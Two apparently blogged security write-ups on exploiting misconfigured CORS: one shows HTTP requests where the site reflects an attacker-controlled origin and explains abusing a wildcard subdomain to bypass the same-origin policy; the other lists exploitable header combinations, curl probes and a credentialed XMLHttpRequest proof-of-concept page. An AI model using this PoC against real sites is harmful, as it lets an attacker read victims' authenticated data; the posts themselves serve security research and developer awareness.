Exploiting Misconfigured CORS via Wildcard Subdomains

In last post about CORS i explained the cases where and how we can detect the presence of CORS misconfiguration, so this post will cover the one of specific case from them.

So last week while testing one of web application for CORS misconfiguration, i came across a scenario and this is how it looks like:

Request 1#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://www.attacker.com
Cookie: <Redacted>
Connection: close

Response 1#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 2#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: http://www.site.com
Cookie: <Redacted>
Connection: close

Response 2#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 3#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://test.site.com
Cookie: <Redacted>
Connection: close

Response 3#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 4#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://www.site.com.attacker.com
Cookie: <Redacted>
Connection: close

Response 4#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com.attacker.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

so from request 1-3 we can see, the ACAO is properly set no matter from what Origin its requested, but in case 4 we can see the anything after domain name site.com is getting reflected back to ACAO header.

So i thought to exploit it, and after bit of confusion and quick tip from James cleared my doubts. so i enabled the wildcard entry for my domain geekboy.ninja.

And idea is of wildcard will work like this, now if i request anything in this manner: https://site.com.geekboy.ninja/exploit.html, it will valid request and exploit.html will be served from domain geekboy.ninja/exploit.html  and other side, Origin will be set as: https://site.com.geekboy.ninja which is the requirement of this case.

And this is how a small misconfiguration allows attacker to bypass the SOP of website.

Takeaways for hackers: check for every variations of Origin header, for dev: use predefined ACAO dynamically.  

 

do let me know if you have any question in comment section.

Exploiting Misconfigured CORS (Cross Origin Resource Sharing)

Hello Friends!

few days before noticed a blog post for exploiting Facebook chat and reading all the chats of users so that made me to interested to know about the issues, and basically it was misconfigured CORS configuration where null origin is allowed with credentials true,  it was not something heard for the 1st time, @albinowax from the portswigger explained it very well in his blog post, so after reading that messenger blog post I went to test for the same issue for some targets where I allowed to test it.

but before that here are some tips about CORS where it can be exploitable from the attacker’s point of view:

  • Poorly implemented, Best case for Attack:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

  • Poorly implemented, Exploitable:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

  • Bad implementation but not exploitable:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

or just

Access-Control-Allow-Origin: *

even this is not good from the development point of view but due to its own rules of CORS if Access-Control-Allow-Origin set to * we don’t get benefit Access-Control-Allow-Credentials: true means no cookie access of the victim.

When you can’t exploit even if above misconfigurations are present:

  • Presence of any custom header in the request which is getting used to authenticate the user.
  • Presence of any unique/authentication/key in the request URI  

I’m not covering basic details about CORS in this post as in earlier blog posts all the details are covered.

I mentioned 3 cases where first two cases are exploitable in that example of 2nd case is Facebook Messenger chat issue which I mentioned in an earlier section of the post, and example of 1st case is mine which I found 2 days before where any arbitrary Origin is allowed and the same Origin get reflected back to Access-Control-Allow-Origin with Credentials set to True, the best way I found to check for CORS issue is using CURL.

eg : curl https://test.victim.com -H "Origin: https://geekboy.ninja" -I and check the response if Origin is reflected in the response or not.

OR if your burp pro user, Burp Active Scan may find this for you, but in this specific case the root URL was not vulnerable when I checked it manually,  curl https://my.target.com -H "Origin: https://geekboy.ninja" -I , the Origin didn’t get reflected but when I requested specific endpoint where all users data getting back into the response curl https://my.target.com/api/web/user -H "Origin: https://geekboy.ninja" -I it reflected back with my host with Credentials set to True and that’s enough to make this work and steal all that data.

HTML Poc code:-

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

And here how it worked 🙂

Sources for better understanding of CORS:

Views/Suggestions/Edits always welcome 🙂